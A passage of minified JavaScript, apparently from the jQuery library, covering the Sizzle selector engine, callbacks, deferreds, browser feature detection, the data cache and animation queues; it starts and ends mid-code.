in e)}t=x(o),function(e,undefined){var t,n,r,i,o,s,a,u,l,c,p,f,h,d,g,m,y,v="sizzle"+-new Date,b=e.document,w=0,T=0,C=st(),k=st(),N=st(),E=!1,S=function(e,t){return e===t?(E=!0,0):0},j=typeof undefined,D=1<<31,A={}.hasOwnProperty,L=[],q=L.pop,H=L.push,O=L.push,F=L.slice,P=L.indexOf||function(e){var t=0,n=this.length;for(;n>t;t++)if(this[t]===e)return t;return-1},R="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",M="[\\x20\\t\\r\\n\\f]",W="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",$=W.replace("w","w#"),B="\\["+M+"*("+W+")"+M+"*(?:([*^$|!~]?=)"+M+"*(?:(['\"])((?:\\\\.|[^\\\\])*?)\\3|("+$+")|)|)"+M+"*\\]",I=":("+W+")(?:\\(((['\"])((?:\\\\.|[^\\\\])*?)\\3|((?:\\\\.|[^\\\\()[\\]]|"+B.replace(3,8)+")*)|.*)\\)|)",z=RegExp("^"+M+"+|((?:^|[^\\\\])(?:\\\\.)*)"+M+"+$","g"),_=RegExp("^"+M+"*,"+M+"*"),X=RegExp("^"+M+"*([>+~]|"+M+")"+M+"*"),U=RegExp(M+"*[+~]"),Y=RegExp("="+M+"*([^\\]'\"]*)"+M+"*\\]","g"),V=RegExp(I),G=RegExp("^"+$+"$"),J={ID:RegExp("^#("+W+")"),CLASS:RegExp("^\\.("+W+")"),TAG:RegExp("^("+W.replace("w","w*")+")"),ATTR:RegExp("^"+B),PSEUDO:RegExp("^"+I),CHILD:RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+M+"*(even|odd|(([+-]|)(\\d*)n|)"+M+"*(?:([+-]|)"+M+"*(\\d+)|))"+M+"*\\)|)","i"),bool:RegExp("^(?:"+R+")$","i"),needsContext:RegExp("^"+M+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+M+"*((?:-\\d)?\\d*)"+M+"*\\)|)(?=[^-]|$)","i")},Q=/^[^{]+\{\s*\[native \w/,K=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,Z=/^(?:input|select|textarea|button)$/i,et=/^h\d$/i,tt=/'|\\/g,nt=RegExp("\\\\([\\da-f]{1,6}"+M+"?|("+M+")|.)","ig"),rt=function(e,t,n){var r="0x"+t-65536;return r!==r||n?t:0>r?String.fromCharCode(r+65536):String.fromCharCode(55296|r>>10,56320|1023&r)};try{O.apply(L=F.call(b.childNodes),b.childNodes),L[b.childNodes.length].nodeType}catch(it){O={apply:L.length?function(e,t){H.apply(e,F.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function ot(e,t,r,i){var o,s,a,u,l,f,g,m,x,w;if((t?t.ownerDocument||t:b)!==p&&c(t),t=t||p,r=r||[],!e||"string"!=typeof e)return r;if(1!==(u=t.nodeType)&&9!==u)return[];if(h&&!i){if(o=K.exec(e))if(a=o[1]){if(9===u){if(s=t.getElementById(a),!s||!s.parentNode)return r;if(s.id===a)return r.push(s),r}else if(t.ownerDocument&&(s=t.ownerDocument.getElementById(a))&&y(t,s)&&s.id===a)return r.push(s),r}else{if(o[2])return O.apply(r,t.getElementsByTagName(e)),r;if((a=o[3])&&n.getElementsByClassName&&t.getElementsByClassName)return O.apply(r,t.getElementsByClassName(a)),r}if(n.qsa&&(!d||!d.test(e))){if(m=g=v,x=t,w=9===u&&e,1===u&&"object"!==t.nodeName.toLowerCase()){f=gt(e),(g=t.getAttribute("id"))?m=g.replace(tt,"\\$&"):t.setAttribute("id",m),m="[id='"+m+"'] ",l=f.length;while(l--)f[l]=m+mt(f[l]);x=U.test(e)&&t.parentNode||t,w=f.join(",")}if(w)try{return O.apply(r,x.querySelectorAll(w)),r}catch(T){}finally{g||t.removeAttribute("id")}}}return kt(e.replace(z,"$1"),t,r,i)}function st(){var e=[];function t(n,r){return e.push(n+=" ")>i.cacheLength&&delete t[e.shift()],t[n]=r}return t}function at(e){return e[v]=!0,e}function ut(e){var t=p.createElement("div");try{return!!e(t)}catch(n){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function lt(e,t){var n=e.split("|"),r=e.length;while(r--)i.attrHandle[n[r]]=t}function ct(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&(~t.sourceIndex||D)-(~e.sourceIndex||D);if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function pt(e){return function(t){var n=t.nodeName.toLowerCase();return"input"===n&&t.type===e}}function ft(e){return function(t){var n=t.nodeName.toLowerCase();return("input"===n||"button"===n)&&t.type===e}}function ht(e){return at(function(t){return t=+t,at(function(n,r){var i,o=e([],n.length,t),s=o.length;while(s--)n[i=o[s]]&&(n[i]=!(r[i]=n[i]))})})}s=ot.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return t?"HTML"!==t.nodeName:!1},n=ot.support={},c=ot.setDocument=function(e){var t=e?e.ownerDocument||e:b,r=t.defaultView;return t!==p&&9===t.nodeType&&t.documentElement?(p=t,f=t.documentElement,h=!s(t),r&&r.attachEvent&&r!==r.top&&r.attachEvent("onbeforeunload",function(){c()}),n.attributes=ut(function(e){return e.className="i",!e.getAttribute("className")}),n.getElementsByTagName=ut(function(e){return e.appendChild(t.createComment("")),!e.getElementsByTagName("*").length}),n.getElementsByClassName=ut(function(e){return e.innerHTML="
    ",e.firstChild.className="i",2===e.getElementsByClassName("i").length}),n.getById=ut(function(e){return f.appendChild(e).id=v,!t.getElementsByName||!t.getElementsByName(v).length}),n.getById?(i.find.ID=function(e,t){if(typeof t.getElementById!==j&&h){var n=t.getElementById(e);return n&&n.parentNode?[n]:[]}},i.filter.ID=function(e){var t=e.replace(nt,rt);return function(e){return e.getAttribute("id")===t}}):(delete i.find.ID,i.filter.ID=function(e){var t=e.replace(nt,rt);return function(e){var n=typeof e.getAttributeNode!==j&&e.getAttributeNode("id");return n&&n.value===t}}),i.find.TAG=n.getElementsByTagName?function(e,t){return typeof t.getElementsByTagName!==j?t.getElementsByTagName(e):undefined}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},i.find.CLASS=n.getElementsByClassName&&function(e,t){return typeof t.getElementsByClassName!==j&&h?t.getElementsByClassName(e):undefined},g=[],d=[],(n.qsa=Q.test(t.querySelectorAll))&&(ut(function(e){e.innerHTML="",e.querySelectorAll("[selected]").length||d.push("\\["+M+"*(?:value|"+R+")"),e.querySelectorAll(":checked").length||d.push(":checked")}),ut(function(e){var n=t.createElement("input");n.setAttribute("type","hidden"),e.appendChild(n).setAttribute("t",""),e.querySelectorAll("[t^='']").length&&d.push("[*^$]="+M+"*(?:''|\"\")"),e.querySelectorAll(":enabled").length||d.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),d.push(",.*:")})),(n.matchesSelector=Q.test(m=f.webkitMatchesSelector||f.mozMatchesSelector||f.oMatchesSelector||f.msMatchesSelector))&&ut(function(e){n.disconnectedMatch=m.call(e,"div"),m.call(e,"[s!='']:x"),g.push("!=",I)}),d=d.length&&RegExp(d.join("|")),g=g.length&&RegExp(g.join("|")),y=Q.test(f.contains)||f.compareDocumentPosition?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},S=f.compareDocumentPosition?function(e,r){if(e===r)return E=!0,0;var i=r.compareDocumentPosition&&e.compareDocumentPosition&&e.compareDocumentPosition(r);return i?1&i||!n.sortDetached&&r.compareDocumentPosition(e)===i?e===t||y(b,e)?-1:r===t||y(b,r)?1:l?P.call(l,e)-P.call(l,r):0:4&i?-1:1:e.compareDocumentPosition?-1:1}:function(e,n){var r,i=0,o=e.parentNode,s=n.parentNode,a=[e],u=[n];if(e===n)return E=!0,0;if(!o||!s)return e===t?-1:n===t?1:o?-1:s?1:l?P.call(l,e)-P.call(l,n):0;if(o===s)return ct(e,n);r=e;while(r=r.parentNode)a.unshift(r);r=n;while(r=r.parentNode)u.unshift(r);while(a[i]===u[i])i++;return i?ct(a[i],u[i]):a[i]===b?-1:u[i]===b?1:0},t):p},ot.matches=function(e,t){return ot(e,null,null,t)},ot.matchesSelector=function(e,t){if((e.ownerDocument||e)!==p&&c(e),t=t.replace(Y,"='$1']"),!(!n.matchesSelector||!h||g&&g.test(t)||d&&d.test(t)))try{var r=m.call(e,t);if(r||n.disconnectedMatch||e.document&&11!==e.document.nodeType)return r}catch(i){}return ot(t,p,null,[e]).length>0},ot.contains=function(e,t){return(e.ownerDocument||e)!==p&&c(e),y(e,t)},ot.attr=function(e,t){(e.ownerDocument||e)!==p&&c(e);var r=i.attrHandle[t.toLowerCase()],o=r&&A.call(i.attrHandle,t.toLowerCase())?r(e,t,!h):undefined;return o===undefined?n.attributes||!h?e.getAttribute(t):(o=e.getAttributeNode(t))&&o.specified?o.value:null:o},ot.error=function(e){throw Error("Syntax error, unrecognized expression: "+e)},ot.uniqueSort=function(e){var t,r=[],i=0,o=0;if(E=!n.detectDuplicates,l=!n.sortStable&&e.slice(0),e.sort(S),E){while(t=e[o++])t===e[o]&&(i=r.push(o));while(i--)e.splice(r[i],1)}return e},o=ot.getText=function(e){var t,n="",r=0,i=e.nodeType;if(i){if(1===i||9===i||11===i){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=o(e)}else if(3===i||4===i)return e.nodeValue}else for(;t=e[r];r++)n+=o(t);return n},i=ot.selectors={cacheLength:50,createPseudo:at,match:J,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(nt,rt),e[3]=(e[4]||e[5]||"").replace(nt,rt),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||ot.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&ot.error(e[0]),e},PSEUDO:function(e){var t,n=!e[5]&&e[2];return J.CHILD.test(e[0])?null:(e[3]&&e[4]!==undefined?e[2]=e[4]:n&&V.test(n)&&(t=gt(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(nt,rt).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=C[e+" "];return t||(t=RegExp("(^|"+M+")"+e+"("+M+"|$)"))&&C(e,function(e){return t.test("string"==typeof e.className&&e.className||typeof e.getAttribute!==j&&e.getAttribute("class")||"")})},ATTR:function(e,t,n){return function(r){var i=ot.attr(r,e);return null==i?"!="===t:t?(i+="","="===t?i===n:"!="===t?i!==n:"^="===t?n&&0===i.indexOf(n):"*="===t?n&&i.indexOf(n)>-1:"$="===t?n&&i.slice(-n.length)===n:"~="===t?(" "+i+" ").indexOf(n)>-1:"|="===t?i===n||i.slice(0,n.length+1)===n+"-":!1):!0}},CHILD:function(e,t,n,r,i){var o="nth"!==e.slice(0,3),s="last"!==e.slice(-4),a="of-type"===t;return 1===r&&0===i?function(e){return!!e.parentNode}:function(t,n,u){var l,c,p,f,h,d,g=o!==s?"nextSibling":"previousSibling",m=t.parentNode,y=a&&t.nodeName.toLowerCase(),x=!u&&!a;if(m){if(o){while(g){p=t;while(p=p[g])if(a?p.nodeName.toLowerCase()===y:1===p.nodeType)return!1;d=g="only"===e&&!d&&"nextSibling"}return!0}if(d=[s?m.firstChild:m.lastChild],s&&x){c=m[v]||(m[v]={}),l=c[e]||[],h=l[0]===w&&l[1],f=l[0]===w&&l[2],p=h&&m.childNodes[h];while(p=++h&&p&&p[g]||(f=h=0)||d.pop())if(1===p.nodeType&&++f&&p===t){c[e]=[w,h,f];break}}else if(x&&(l=(t[v]||(t[v]={}))[e])&&l[0]===w)f=l[1];else while(p=++h&&p&&p[g]||(f=h=0)||d.pop())if((a?p.nodeName.toLowerCase()===y:1===p.nodeType)&&++f&&(x&&((p[v]||(p[v]={}))[e]=[w,f]),p===t))break;return f-=i,f===r||0===f%r&&f/r>=0}}},PSEUDO:function(e,t){var n,r=i.pseudos[e]||i.setFilters[e.toLowerCase()]||ot.error("unsupported pseudo: "+e);return r[v]?r(t):r.length>1?(n=[e,e,"",t],i.setFilters.hasOwnProperty(e.toLowerCase())?at(function(e,n){var i,o=r(e,t),s=o.length;while(s--)i=P.call(e,o[s]),e[i]=!(n[i]=o[s])}):function(e){return r(e,0,n)}):r}},pseudos:{not:at(function(e){var t=[],n=[],r=a(e.replace(z,"$1"));return r[v]?at(function(e,t,n,i){var o,s=r(e,null,i,[]),a=e.length;while(a--)(o=s[a])&&(e[a]=!(t[a]=o))}):function(e,i,o){return t[0]=e,r(t,null,o,n),!n.pop()}}),has:at(function(e){return function(t){return ot(e,t).length>0}}),contains:at(function(e){return function(t){return(t.textContent||t.innerText||o(t)).indexOf(e)>-1}}),lang:at(function(e){return G.test(e||"")||ot.error("unsupported lang: "+e),e=e.replace(nt,rt).toLowerCase(),function(t){var n;do if(n=h?t.lang:t.getAttribute("xml:lang")||t.getAttribute("lang"))return n=n.toLowerCase(),n===e||0===n.indexOf(e+"-");while((t=t.parentNode)&&1===t.nodeType);return!1}}),target:function(t){var n=e.location&&e.location.hash;return n&&n.slice(1)===t.id},root:function(e){return e===f},focus:function(e){return e===p.activeElement&&(!p.hasFocus||p.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:function(e){return e.disabled===!1},disabled:function(e){return e.disabled===!0},checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,e.selected===!0},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeName>"@"||3===e.nodeType||4===e.nodeType)return!1;return!0},parent:function(e){return!i.pseudos.empty(e)},header:function(e){return et.test(e.nodeName)},input:function(e){return Z.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||t.toLowerCase()===e.type)},first:ht(function(){return[0]}),last:ht(function(e,t){return[t-1]}),eq:ht(function(e,t,n){return[0>n?n+t:n]}),even:ht(function(e,t){var n=0;for(;t>n;n+=2)e.push(n);return e}),odd:ht(function(e,t){var n=1;for(;t>n;n+=2)e.push(n);return e}),lt:ht(function(e,t,n){var r=0>n?n+t:n;for(;--r>=0;)e.push(r);return e}),gt:ht(function(e,t,n){var r=0>n?n+t:n;for(;t>++r;)e.push(r);return e})}},i.pseudos.nth=i.pseudos.eq;for(t in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})i.pseudos[t]=pt(t);for(t in{submit:!0,reset:!0})i.pseudos[t]=ft(t);function dt(){}dt.prototype=i.filters=i.pseudos,i.setFilters=new dt;function gt(e,t){var n,r,o,s,a,u,l,c=k[e+" "];if(c)return t?0:c.slice(0);a=e,u=[],l=i.preFilter;while(a){(!n||(r=_.exec(a)))&&(r&&(a=a.slice(r[0].length)||a),u.push(o=[])),n=!1,(r=X.exec(a))&&(n=r.shift(),o.push({value:n,type:r[0].replace(z," ")}),a=a.slice(n.length));for(s in i.filter)!(r=J[s].exec(a))||l[s]&&!(r=l[s](r))||(n=r.shift(),o.push({value:n,type:s,matches:r}),a=a.slice(n.length));if(!n)break}return t?a.length:a?ot.error(e):k(e,u).slice(0)}function mt(e){var t=0,n=e.length,r="";for(;n>t;t++)r+=e[t].value;return r}function yt(e,t,n){var i=t.dir,o=n&&"parentNode"===i,s=T++;return t.first?function(t,n,r){while(t=t[i])if(1===t.nodeType||o)return e(t,n,r)}:function(t,n,a){var u,l,c,p=w+" "+s;if(a){while(t=t[i])if((1===t.nodeType||o)&&e(t,n,a))return!0}else while(t=t[i])if(1===t.nodeType||o)if(c=t[v]||(t[v]={}),(l=c[i])&&l[0]===p){if((u=l[1])===!0||u===r)return u===!0}else if(l=c[i]=[p],l[1]=e(t,n,a)||r,l[1]===!0)return!0}}function vt(e){return e.length>1?function(t,n,r){var i=e.length;while(i--)if(!e[i](t,n,r))return!1;return!0}:e[0]}function xt(e,t,n,r,i){var o,s=[],a=0,u=e.length,l=null!=t;for(;u>a;a++)(o=e[a])&&(!n||n(o,r,i))&&(s.push(o),l&&t.push(a));return s}function bt(e,t,n,r,i,o){return r&&!r[v]&&(r=bt(r)),i&&!i[v]&&(i=bt(i,o)),at(function(o,s,a,u){var l,c,p,f=[],h=[],d=s.length,g=o||Ct(t||"*",a.nodeType?[a]:a,[]),m=!e||!o&&t?g:xt(g,f,e,a,u),y=n?i||(o?e:d||r)?[]:s:m;if(n&&n(m,y,a,u),r){l=xt(y,h),r(l,[],a,u),c=l.length;while(c--)(p=l[c])&&(y[h[c]]=!(m[h[c]]=p))}if(o){if(i||e){if(i){l=[],c=y.length;while(c--)(p=y[c])&&l.push(m[c]=p);i(null,y=[],l,u)}c=y.length;while(c--)(p=y[c])&&(l=i?P.call(o,p):f[c])>-1&&(o[l]=!(s[l]=p))}}else y=xt(y===s?y.splice(d,y.length):y),i?i(null,s,y,u):O.apply(s,y)})}function wt(e){var t,n,r,o=e.length,s=i.relative[e[0].type],a=s||i.relative[" "],l=s?1:0,c=yt(function(e){return e===t},a,!0),p=yt(function(e){return P.call(t,e)>-1},a,!0),f=[function(e,n,r){return!s&&(r||n!==u)||((t=n).nodeType?c(e,n,r):p(e,n,r))}];for(;o>l;l++)if(n=i.relative[e[l].type])f=[yt(vt(f),n)];else{if(n=i.filter[e[l].type].apply(null,e[l].matches),n[v]){for(r=++l;o>r;r++)if(i.relative[e[r].type])break;return bt(l>1&&vt(f),l>1&&mt(e.slice(0,l-1).concat({value:" "===e[l-2].type?"*":""})).replace(z,"$1"),n,r>l&&wt(e.slice(l,r)),o>r&&wt(e=e.slice(r)),o>r&&mt(e))}f.push(n)}return vt(f)}function Tt(e,t){var n=0,o=t.length>0,s=e.length>0,a=function(a,l,c,f,h){var d,g,m,y=[],v=0,x="0",b=a&&[],T=null!=h,C=u,k=a||s&&i.find.TAG("*",h&&l.parentNode||l),N=w+=null==C?1:Math.random()||.1;for(T&&(u=l!==p&&l,r=n);null!=(d=k[x]);x++){if(s&&d){g=0;while(m=e[g++])if(m(d,l,c)){f.push(d);break}T&&(w=N,r=++n)}o&&((d=!m&&d)&&v--,a&&b.push(d))}if(v+=x,o&&x!==v){g=0;while(m=t[g++])m(b,y,l,c);if(a){if(v>0)while(x--)b[x]||y[x]||(y[x]=q.call(f));y=xt(y)}O.apply(f,y),T&&!a&&y.length>0&&v+t.length>1&&ot.uniqueSort(f)}return T&&(w=N,u=C),b};return o?at(a):a}a=ot.compile=function(e,t){var n,r=[],i=[],o=N[e+" "];if(!o){t||(t=gt(e)),n=t.length;while(n--)o=wt(t[n]),o[v]?r.push(o):i.push(o);o=N(e,Tt(i,r))}return o};function Ct(e,t,n){var r=0,i=t.length;for(;i>r;r++)ot(e,t[r],n);return n}function kt(e,t,r,o){var s,u,l,c,p,f=gt(e);if(!o&&1===f.length){if(u=f[0]=f[0].slice(0),u.length>2&&"ID"===(l=u[0]).type&&n.getById&&9===t.nodeType&&h&&i.relative[u[1].type]){if(t=(i.find.ID(l.matches[0].replace(nt,rt),t)||[])[0],!t)return r;e=e.slice(u.shift().value.length)}s=J.needsContext.test(e)?0:u.length;while(s--){if(l=u[s],i.relative[c=l.type])break;if((p=i.find[c])&&(o=p(l.matches[0].replace(nt,rt),U.test(u[0].type)&&t.parentNode||t))){if(u.splice(s,1),e=o.length&&mt(u),!e)return O.apply(r,o),r;break}}}return a(e,f)(o,t,!h,r,U.test(e)),r}n.sortStable=v.split("").sort(S).join("")===v,n.detectDuplicates=E,c(),n.sortDetached=ut(function(e){return 1&e.compareDocumentPosition(p.createElement("div"))}),ut(function(e){return e.innerHTML="","#"===e.firstChild.getAttribute("href")})||lt("type|href|height|width",function(e,t,n){return n?undefined:e.getAttribute(t,"type"===t.toLowerCase()?1:2)}),n.attributes&&ut(function(e){return e.innerHTML="",e.firstChild.setAttribute("value",""),""===e.firstChild.getAttribute("value")})||lt("value",function(e,t,n){return n||"input"!==e.nodeName.toLowerCase()?undefined:e.defaultValue}),ut(function(e){return null==e.getAttribute("disabled")})||lt(R,function(e,t,n){var r;return n?undefined:(r=e.getAttributeNode(t))&&r.specified?r.value:e[t]===!0?t.toLowerCase():null}),x.find=ot,x.expr=ot.selectors,x.expr[":"]=x.expr.pseudos,x.unique=ot.uniqueSort,x.text=ot.getText,x.isXMLDoc=ot.isXML,x.contains=ot.contains}(e);var D={};function A(e){var t=D[e]={};return x.each(e.match(w)||[],function(e,n){t[n]=!0}),t}x.Callbacks=function(e){e="string"==typeof e?D[e]||A(e):x.extend({},e);var t,n,r,i,o,s,a=[],u=!e.once&&[],l=function(p){for(t=e.memory&&p,n=!0,s=i||0,i=0,o=a.length,r=!0;a&&o>s;s++)if(a[s].apply(p[0],p[1])===!1&&e.stopOnFalse){t=!1;break}r=!1,a&&(u?u.length&&l(u.shift()):t?a=[]:c.disable())},c={add:function(){if(a){var n=a.length;(function s(t){x.each(t,function(t,n){var r=x.type(n);"function"===r?e.unique&&c.has(n)||a.push(n):n&&n.length&&"string"!==r&&s(n)})})(arguments),r?o=a.length:t&&(i=n,l(t))}return this},remove:function(){return a&&x.each(arguments,function(e,t){var n;while((n=x.inArray(t,a,n))>-1)a.splice(n,1),r&&(o>=n&&o--,s>=n&&s--)}),this},has:function(e){return e?x.inArray(e,a)>-1:!(!a||!a.length)},empty:function(){return a=[],o=0,this},disable:function(){return a=u=t=undefined,this},disabled:function(){return!a},lock:function(){return u=undefined,t||c.disable(),this},locked:function(){return!u},fireWith:function(e,t){return!a||n&&!u||(t=t||[],t=[e,t.slice?t.slice():t],r?u.push(t):l(t)),this},fire:function(){return c.fireWith(this,arguments),this},fired:function(){return!!n}};return c},x.extend({Deferred:function(e){var t=[["resolve","done",x.Callbacks("once memory"),"resolved"],["reject","fail",x.Callbacks("once memory"),"rejected"],["notify","progress",x.Callbacks("memory")]],n="pending",r={state:function(){return n},always:function(){return i.done(arguments).fail(arguments),this},then:function(){var e=arguments;return x.Deferred(function(n){x.each(t,function(t,o){var s=o[0],a=x.isFunction(e[t])&&e[t];i[o[1]](function(){var e=a&&a.apply(this,arguments);e&&x.isFunction(e.promise)?e.promise().done(n.resolve).fail(n.reject).progress(n.notify):n[s+"With"](this===r?n.promise():this,a?[e]:arguments)})}),e=null}).promise()},promise:function(e){return null!=e?x.extend(e,r):r}},i={};return r.pipe=r.then,x.each(t,function(e,o){var s=o[2],a=o[3];r[o[1]]=s.add,a&&s.add(function(){n=a},t[1^e][2].disable,t[2][2].lock),i[o[0]]=function(){return i[o[0]+"With"](this===i?r:this,arguments),this},i[o[0]+"With"]=s.fireWith}),r.promise(i),e&&e.call(i,i),i},when:function(e){var t=0,n=d.call(arguments),r=n.length,i=1!==r||e&&x.isFunction(e.promise)?r:0,o=1===i?e:x.Deferred(),s=function(e,t,n){return function(r){t[e]=this,n[e]=arguments.length>1?d.call(arguments):r,n===a?o.notifyWith(t,n):--i||o.resolveWith(t,n)}},a,u,l;if(r>1)for(a=Array(r),u=Array(r),l=Array(r);r>t;t++)n[t]&&x.isFunction(n[t].promise)?n[t].promise().done(s(t,l,n)).fail(o.reject).progress(s(t,u,a)):--i;return i||o.resolveWith(l,n),o.promise()}}),x.support=function(t){var n=o.createElement("input"),r=o.createDocumentFragment(),i=o.createElement("div"),s=o.createElement("select"),a=s.appendChild(o.createElement("option"));return n.type?(n.type="checkbox",t.checkOn=""!==n.value,t.optSelected=a.selected,t.reliableMarginRight=!0,t.boxSizingReliable=!0,t.pixelPosition=!1,n.checked=!0,t.noCloneChecked=n.cloneNode(!0).checked,s.disabled=!0,t.optDisabled=!a.disabled,n=o.createElement("input"),n.value="t",n.type="radio",t.radioValue="t"===n.value,n.setAttribute("checked","t"),n.setAttribute("name","t"),r.appendChild(n),t.checkClone=r.cloneNode(!0).cloneNode(!0).lastChild.checked,t.focusinBubbles="onfocusin"in e,i.style.backgroundClip="content-box",i.cloneNode(!0).style.backgroundClip="",t.clearCloneStyle="content-box"===i.style.backgroundClip,x(function(){var n,r,s="padding:0;margin:0;border:0;display:block;-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box",a=o.getElementsByTagName("body")[0];a&&(n=o.createElement("div"),n.style.cssText="border:0;width:0;height:0;position:absolute;top:0;left:-9999px;margin-top:1px",a.appendChild(n).appendChild(i),i.innerHTML="",i.style.cssText="-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:1px;border:1px;display:block;width:4px;margin-top:1%;position:absolute;top:1%",x.swap(a,null!=a.style.zoom?{zoom:1}:{},function(){t.boxSizing=4===i.offsetWidth}),e.getComputedStyle&&(t.pixelPosition="1%"!==(e.getComputedStyle(i,null)||{}).top,t.boxSizingReliable="4px"===(e.getComputedStyle(i,null)||{width:"4px"}).width,r=i.appendChild(o.createElement("div")),r.style.cssText=i.style.cssText=s,r.style.marginRight=r.style.width="0",i.style.width="1px",t.reliableMarginRight=!parseFloat((e.getComputedStyle(r,null)||{}).marginRight)),a.removeChild(n))}),t):t}({});var L,q,H=/(?:\{[\s\S]*\}|\[[\s\S]*\])$/,O=/([A-Z])/g;function F(){Object.defineProperty(this.cache={},0,{get:function(){return{}}}),this.expando=x.expando+Math.random()}F.uid=1,F.accepts=function(e){return e.nodeType?1===e.nodeType||9===e.nodeType:!0},F.prototype={key:function(e){if(!F.accepts(e))return 0;var t={},n=e[this.expando];if(!n){n=F.uid++;try{t[this.expando]={value:n},Object.defineProperties(e,t)}catch(r){t[this.expando]=n,x.extend(e,t)}}return this.cache[n]||(this.cache[n]={}),n},set:function(e,t,n){var r,i=this.key(e),o=this.cache[i];if("string"==typeof t)o[t]=n;else if(x.isEmptyObject(o))x.extend(this.cache[i],t);else for(r in t)o[r]=t[r];return o},get:function(e,t){var n=this.cache[this.key(e)];return t===undefined?n:n[t]},access:function(e,t,n){var r;return t===undefined||t&&"string"==typeof t&&n===undefined?(r=this.get(e,t),r!==undefined?r:this.get(e,x.camelCase(t))):(this.set(e,t,n),n!==undefined?n:t)},remove:function(e,t){var n,r,i,o=this.key(e),s=this.cache[o];if(t===undefined)this.cache[o]={};else{x.isArray(t)?r=t.concat(t.map(x.camelCase)):(i=x.camelCase(t),t in s?r=[t,i]:(r=i,r=r in s?[r]:r.match(w)||[])),n=r.length;while(n--)delete s[r[n]]}},hasData:function(e){return!x.isEmptyObject(this.cache[e[this.expando]]||{})},discard:function(e){e[this.expando]&&delete this.cache[e[this.expando]]}},L=new F,q=new F,x.extend({acceptData:F.accepts,hasData:function(e){return L.hasData(e)||q.hasData(e)},data:function(e,t,n){return L.access(e,t,n)},removeData:function(e,t){L.remove(e,t)},_data:function(e,t,n){return q.access(e,t,n)},_removeData:function(e,t){q.remove(e,t)}}),x.fn.extend({data:function(e,t){var n,r,i=this[0],o=0,s=null;if(e===undefined){if(this.length&&(s=L.get(i),1===i.nodeType&&!q.get(i,"hasDataAttrs"))){for(n=i.attributes;n.length>o;o++)r=n[o].name,0===r.indexOf("data-")&&(r=x.camelCase(r.slice(5)),P(i,r,s[r]));q.set(i,"hasDataAttrs",!0)}return s}return"object"==typeof e?this.each(function(){L.set(this,e)}):x.access(this,function(t){var n,r=x.camelCase(e);if(i&&t===undefined){if(n=L.get(i,e),n!==undefined)return n;if(n=L.get(i,r),n!==undefined)return n;if(n=P(i,r,undefined),n!==undefined)return n}else this.each(function(){var n=L.get(this,r);L.set(this,r,t),-1!==e.indexOf("-")&&n!==undefined&&L.set(this,e,t)})},null,t,arguments.length>1,null,!0)},removeData:function(e){return this.each(function(){L.remove(this,e)})}});function P(e,t,n){var r;if(n===undefined&&1===e.nodeType)if(r="data-"+t.replace(O,"-$1").toLowerCase(),n=e.getAttribute(r),"string"==typeof n){try{n="true"===n?!0:"false"===n?!1:"null"===n?null:+n+""===n?+n:H.test(n)?JSON.parse(n):n}catch(i){}L.set(e,t,n)}else n=undefined;return n}x.extend({queue:function(e,t,n){var r;return e?(t=(t||"fx")+"queue",r=q.get(e,t),n&&(!r||x.isArray(n)?r=q.access(e,t,x.makeArray(n)):r.push(n)),r||[]):undefined},dequeue:function(e,t){t=t||"fx";var n=x.queue(e,t),r=n.length,i=n.shift(),o=x._queueHooks(e,t),s=function(){x.dequeue(e,t) };"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift("inprogress"),delete o.stop,i.call(e,s,o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return q.get(e,n)||q.access(e,n,{empty:x.Callbacks("once memory").add(function(){q.remove(e,[t+"queue",n])})})}}),x.fn.extend({queue:function(e,t){var n=2;return"string"!=typeof e&&(t=e,e="fx",n--),n>arguments.length?x.queue(this[0],e):t===undefined?this:this.each(function(){var 